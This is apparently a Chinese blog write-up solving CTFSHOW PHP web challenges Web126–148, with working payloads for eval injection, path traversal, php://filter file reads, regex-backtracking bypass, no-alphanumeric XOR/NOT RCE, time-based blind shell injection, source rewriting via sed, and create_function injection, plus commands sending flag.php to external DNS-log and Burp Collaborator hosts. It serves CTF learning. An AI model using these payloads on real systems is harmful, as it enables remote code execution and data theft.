post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=parse_str($a[1])

Web126(同上)

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

方法一:
同web123方法二
get:?b=1+fl0g=flag_give_me
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=parse_str($a[1])

这题比较狗血,他后面ban了几个单个字母,真的狗血,什么highlight,include,show,export全没了,真是个小天才

方法二:
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=assert($a[1])
get:?b=1+fl0g=flag_give_me
assert函数没有给ban掉,assert和eval几乎一样:
image.png

Web127(SERVER[‘QUERY_STRING’])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;

知识点就是之前说的关于变量名字的问题

和之前的$_SERVER['argv']基本一样,但是有点不同,都是储存get请求信息的

1
2
3
4
<?php
echo '<br>';
var_dump($_SERVER['QUERY_STRING']);
?>

image.png
可以看到也显示了请求信息,但是他的类型不是数组,而是一个字符串,所有用+分割不开,这是一个区别

把数组元素注册成变量,这个很简单很熟悉

所以构造payload:?ctf%20show=ilove36d
其中%20在GET数组中会被转化成下划线_,而空格在waf中没有被过滤,所以可以通过判断
最后储存在GET中是这样的:
image.png
可以看到ctf_show被注册了,最后直接输出flag

Web128(gettext拓展)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

一个新的姿势,当php扩展目录下有php_gettext.dll时:
_()是一个函数。_()就等于gettext()

Web129(目录穿越和伪协议)

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

image.png

image.png
代码审计过后发现要让代码中有ctfshow这个字符串
payload1目录穿越:
?f=/ctfshow/../../../../var/www/html/flag.phpor
?f=./ctfshow/../flag.php
payload2伪协议:
?f=php://filter/ctfshow/resource=flag.php然后访问源码
or?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
or?f=php://filter/convert.base64-encode|ctfshow/resource=flag.php
image.png
把结果解码一下就好了

Web130(回溯次数超限,数组绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

朴素的不能再朴素的一题,要理解正则的意思,.+?这三个字符使得必须要有一个字符在ctfshow前,不信?测试测试:

1
2
3
4
<?php
$f=$_GET['b'];
var_dump(preg_match('/.+?ctfshow/is', $f))
?>

image.png
返回值是0,如果我们把+去掉会发生什么呢?:
image.png
因为?表示匹配0或者以上,咳咳不扯远了再回到最初的测试代码:
image.png
这可以证实ctfshow前面要有字符
payload1:f=ctfshow
因为他说不是false就可以。。。输入这个payload返回0
payload2:f[]=ctfshow
和数组绕过有关,这时候stripos返回的是null也不是false
payload3:写个python脚本,题目开始提示我们说very very very(省略25万个very)ctfshow
我们用python来加25w个very,来超过回溯次数

1
2
3
4
5
6
7
8
import requests

url = 'http://f9ffa505-aff4-404d-9056-2ad5b92e8e47.challenge.ctf.show/'
data = {
'f': 'very' * 25000 + 'ctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

结果为:
image.png
simple!!!

web131(回溯次数超限)

使用web130中的python脚本超过回溯次数获得flag
image.png

Web132(逻辑预算符的优先级)

image.png
进来看到个byd界面,用dirsearch扫一下发现了个/admin目录,访问就得到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

mt_rand:
知识点就是逻辑预算符的优先级
&&比||的优先级要高:
参考
所所以第二层if里面先运算$code === mt_rand(1,0x36D) && $password === $flag 这个值是真还是假无所谓,只要$username ==="admin"成立整个就为1

所以payload:?username=admin&code=admin&password=1
得出flag

Web133(shell中curl和ping的利用)

比较骚的一道题。。。利用了一些命令行指令

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

寥寥几行代码透露着大大的无奈,题目只让我们用6个字符
这里就要有点套娃的去解题了,首先:
假如我们输入:F=$F ;sleep 3

1
2
3
4
5
6
7
8
9
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

其中反引号 ,在php中就等价于shell_exec,表示通过shell环境执行命令,但是不会有回显,也就是一到无回显RCE

首先讲一个比较骚的姿势,就是把内容带出来:
payload:
首先在DNSLOG上获得一个三级域名:http://dnslog.cn/
image.png
get传参:?F=$F;pingcat fla* | grep ctfshow.ennvj2.dnslog.cn
这里要用grep过滤一下,因为三级域名不能太长
image.png
之后点击刷新历史就可以看到我们的内容被带了出来
因为解析dns之前先会把我们的命令执行了,再把内容解析出来

和使用dnslog类似,我们利用burpsuite的一个功能Collaborator Client:
image.png
image.png
点击copy to clipboard后就会把域名粘贴到我们的剪切板上
之后我们payload:
?F=$F ;curl -F '[email protected]' [https://m0nwco4mhcch4wlm97f2ij0e359yxn.burpcollaborator.net](https://m0nwco4mhcch4wlm97f2ij0e359yxn.burpcollaborator.net)

其中后面的是我们创建的域名

curl -F的意思就是以上传文件的形式发送POST请求
[email protected]就是我们要上传的文件,get是文件的name值,之后刷新:
image.png得到了我们的答案
参考:

Web134(POST变量覆盖)

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));

考点:POST变量覆盖
首先说一下parse_str,把里面的参数当成在url里传递就行,这个函数会把url编码自动解码,你输入%26会自动给你转码成&,详细知识点在我的扫盲笔记

payload:?_POST[key1]=36d&_POST[key2]=36d
这里的key1和key2不能用单引号包裹,在扫盲提到了为什么
$_SERVER[‘QUERY_STRING’]是什么前面也讲了
这里是运用parse_str去给POST数组赋值
然后利用extract去把POST数组内的参数注册为变量

Web135(copy,ping)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

都说了是133plus版那肯定是啊
payload1:
?F=$F ;cp flag.php 1.txt
很意外?这一题为什么给了我们写的权限,web133没给啊,可能是出题者的疏忽?

payload2:
先去DNSLOG拿个域名:68ignt.dnslog.cn
?F=$F ;ping awk ‘NR==15’ flag.php.jxkktp.dnslog.cn

image.png
出现了一半的答案?
我们再payload:
?F=$F ;ping awk ‘NR==16’ flag.php.jxkktp.dnslog.cn
image.png
多出了个flag2,好家伙拆成了两个

现在来讲一下payload的意思,awk 'NR==15' flag.php的意思是,读取flag.php文件的第十五行,NR是awk指令里的一个常量,所以我们要从1一个个往下面读取
详细参考:
这里需要说一下由于是三级域名不支持把多行结果粘贴,所以不能用正则匹配去匹配

payload3:
?F=$F ;ping nl flag.php | awk ‘NR==15’ |tr -cd “[a-z]”/“[0-9]” .jxkktp.dnslog.cn
image.png
得到了不带”-“的答案
再输入?F=$F ;ping nl flag.php | awk ‘NR==16’ |tr -cd “[a-z]”/“[0-9]” .jxkktp.dnslog.cn
image.png
也是一样不带-的答案

首先awk的意思都知道了
至于tr -cd的意思是将我们的flag.php中有关"[a-z]"/"[0-9]"补集的字符替删除
参考:

总而言之骚方法很多

Web136(时间盲注,tee)

比较出省的一道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

这一题呢,首先没告诉你flag在哪里,虽然ping没有完全ban了,但是你不知道文件在那里有个鸡儿用
exec指令和shell_exec一样,执行shell命令
这两个函数都是执行Linux命令函数,不同的是获取返回结果不一样,exec只能获取最后一行数据,shell_exec则可以获取全部数据

tee:用于读取标准输入的数据,并将其内容输出成文件。
image.png
tee也和touch一样可以创建新文件
我们直接payload:ls|tee 1可以发现没有flag文件
继续ls / |tee get,再访问get,可以下载get文件:
image.png
发现flag文件是f149_15_h3r3
再输入:cat /f149_15_h3r3|tee 2
下载2文件:
image.png
就可以看到答案了

用bash盲注,有点类似于sql的时间盲注:
一步步跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time as t
from urllib.parse import quote as urlen
url = 'http://4c396b2c-6e0c-4345-b04b-ce564269569c.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,100):
for char in alphabet:
# payload = "if [ ` ls | awk 'NR==2' |cut -c {}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
# data = {'cmd':payload}
try:
start = int(t.time())
r = requests.get(url+payload)
# r = requests.post(url, data=data)
end = int(t.time()) - start
# print(i,char)
if end >= 3:
result += char
print("Flag: "+result)
break
except Exception as e:
print(e)

利用NR==去读行数,一行行的读!所以很复杂,首先先读取目录,看看flag在哪儿
payload = "if [ ls / -1 | awk ‘NR==x’ |cut -c {} = '{}' ];then sleep 5;fi".format(i,char)
ls / -1是让他以每行一个文件名的形式排列
image.png
这里format是python里的占位符,然后cut是一个选取命令:
image.png
image.png

不断的替换x去读不同的行号,所以会很慢
最后锁定在/f149_15_h3r3里
payload = "if [ cat /f149_15_h3r3 | awk ‘NR==1’ |cut -c{} = '{}' ];then sleep 5;fi".format(i,char)
image.png
flag的格式是8-4-4-4-12
有一些读错了可能是bug,整体还是没错的
有关shell中if语句的有关参考:

我愿意称之为最骚的方法,可以直接修改源码的指令
ls | xargs sed -i “s/die/echo/“
ls | xargs sed -i “s/exec/system/“
这两条指令相当于把当前目录下文件中的die换成echo,exec换成system
直接随便乱搞一通了
payload:?c=tac f*
有关sed和xargs指令参考:

image.png
偷梁换柱,这里换成了eval,想测试测试木马()
总结:骚题目,太骚了

Web137(::访问static)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

略微脑瘫
PAYLOAD:
ctfshow=ctfshow::getFlag
访问静态方法

Web138(call_user_func和数组)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);


call_user_func看来我还是不太熟练啊
这个函数可以通过传递数组参数来调用类里的方法或者是函数方法:
image.png
所以payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
这样可以用数组绕过strripos函数,又可以访问静态对象

Web139(bash盲注)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

出省题目,太出省了
这一题不能用tee和sed指令了,试一下tee就知道,没有写入的权限了
所以这一题用bash时间盲注
跑Web136的脚本
我 不得不吐槽一下这一题是真的出省,跑脚本会跑错的,我也不知道为啥,会蹦出几个奇怪字符

Web140(常规操作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

到了web140了啊,这一题相对好理解
我们输入的f1,f2首先得包含数字或者是字母,然后如果满足intval($code) == ‘ctfshow’
就输出flag,看一下==比较的真值表:
image.png
可以发现字符串等于0,所以“ctfshow”也就等于0,只需要intval($code) ==0即可
因此payload很多:

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
bin2hex(bin2hex())

Web141(return命令执行+取反)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

这是一个典型的无字符数字rce
/^\W+$/ 作用是匹配非数字字母下划线的字符
这里只可以输入非数字字母下划线的字符
无数字字母构造命令参考文章:
方法还是很多的,主要还是如何绕过return:
eval("return 1;phpinfo();");这段代码是无法运行的
image.png
可以看到无反应,但是发现数字和命令可以参加运算的,这时候会触发:
eval("return 1-phpinfo();");(这里的双引号必须要,否则报错)
image.png
利用这一点和上面的无字母数字构造指令,用以下php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

利用取反去构造指令,取反就是二进制按位取反
先取反,然后输入的时候再取反,二次取反
image.png
payload:?v1=1&v3=-(%8C%86%8C%8B%9A%92)(%93%8C)&v2=-1
image.png
成功运行,最后再构造指令show_source(‘flag.php’)
image.png
payload:?v1=1&v3=-(%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)(%99%93%9E%98%D1%8F%97%8F)&v2=-1
image.png

Web142(常规操作)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

略微若知
payload:?v1=0
就会sleep(0)立刻输出flag

Web143(141plus)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

这题把上一题我们的解法ban了,不能用取反和自增,方法很多,我们用按位异或:
还是参考
写2个脚本,一个列出可用字符,一个进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("text.txt", "w"); //新创建一个文件,也就是rce_or.txt,给他写的权限
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01,02,所以在前缀加‘0’
}
else{
$hex_i=dechex($i); //前16个后面的就不用加0了
}
if($j<16){
$hex_j='0'.dechex($j); //同理上方
}
else{
$hex_j=dechex($j); //同理上方
}
$preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo ""; //如果有符合条件的就筛掉,输出空格
}

else{ //可以使用的字符如下
$a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); //urldecode函数是解URL编码,把他们变成字符串,这里是字符串进行按位或运算,按位或运算后,可以得到新的字符,如%21和%00进行按位或就变成了!,这样我们就可以使用感叹号,就类似于合成新的字符
if (ord($c)>=32&ord($c)<=126) { //ord函数是将字符变成ASCII码
$contents=$contents.$c." ".$a." ".$b."\n"; //每次到这里都写入刚刚建立的文本内
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

都是可以改的,把按位异或可以改成,按位与,按位或都可以,视情况而变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("text.txt", "r")
while True:
t = f.readline() # 逐行读取文件 //每一次循环,指针都会指向下一行,输出下一行的字符
if t == "": # 读到空,即读完跳出循环
break
if t[0] == i: # 就比如我们这边输入的arg是system,当文本当前行第一个字母是s或者y这些字符就写入s1,s2
# print(i)
s1 += t[2:5] # 提取第一个字符串,具体可以看上面我的截图,如第一行的%00
s2 += t[6:9] # 提取第二个字符串
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")" # s1和s2进行或运算就可以合成对应的字母s,y,s,t,e,m
return (output)


param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)

最后直接运行即可:
image.png
payload:
?v1=1&v3=(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0c%0c”^”%60%7f”)&v2=-1
image.png
再构造出system(‘tac f
)
payload:
?v1=1&v3=*(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0b%01%03%00%06%00”^”%7f%60%60%20%60%2a”)&v2=-1
image.png

Web144(143plus)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

感觉不如143
没有ban掉我们的取反功能
构造payload:system(‘tac f*’)
image.png
payload:
?v1=1&v3=1&v2=-(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)
v3长度只可以是1,那就换个地方执行命令,让v2去执行命令
‘/^\W+$/‘的意思是只匹配数字字母下划线以外的字符,无字母数字RCE的题目

Web145(web144plus)

plus了吗,好像确实有那么一点点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

相较于上一题ban了我们很多运算符,加减乘除都没了
但是注意,放出来了?和:和|
也就是说可以用三目运算符去写的
经过测试eval("return 1?phpinfo():1;")是可以执行的:
image.png
image.png
效仿这么模式构造payload:
?v1=1&v2=1&v3=?(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5):
指令是system(‘tac f*’)
结束

Web146(145plus)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

:被ban了,不能用三目运算符了
但是==和|没有被ban
可以用1==phpinfo()||1
payload:?v1=1&v2=1&v3===(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)||

Web147(RCE+命名空间)

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

设计知识盲区了
这个正则的意思就是字符必须只能包含字母,数字,下划线,但凡多一个其他的东西就匹配失败
image.png
image.png
所以还是很好绕过的,在字符串的开头或者结尾加一个特殊字符就可以
也就是说我们要找一个加了/这类字符还可以使用的函数
后来了解到了一个东西:
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

了解到了这种命名空间调用函数的方法之后又发现了一个函数create_function

1
2
3
4
5
6
7
8
create_function('$a,$b','return 111')

==>等价于

function a($a, $b){
return 111;
}

这个函数等于创造一个函数,但是这是存在漏洞点的,假如我们这样输入:

1
2
3
4
5
6
7
create_function('$a,$b','return 111;}phpinfo();//')

==>等价于

function a($a, $b){
return 111;}phpinfo();//;}

image.png
发现这样闭合中括号是可以执行指令的,原理就是闭合中括号,然后注释掉后面的字符‘
利用这一点构造payload:
post:ctf=\create_function
get:?show=return 1;}system(‘tail flag.php’);//
image.png
结束

Web148(中文变量+异或)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

没ban异或符号
解法一:
使用异或构造get_ctfshow_fl0g();
payload:?code=(“%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07”^”%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60”)();
之后访问源代码即可获得答案

解法二:
使用中文变量,可以看到是没把$和;ban掉的
payload:
?code=$哈=”`

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#刷题记录#CTFSHOW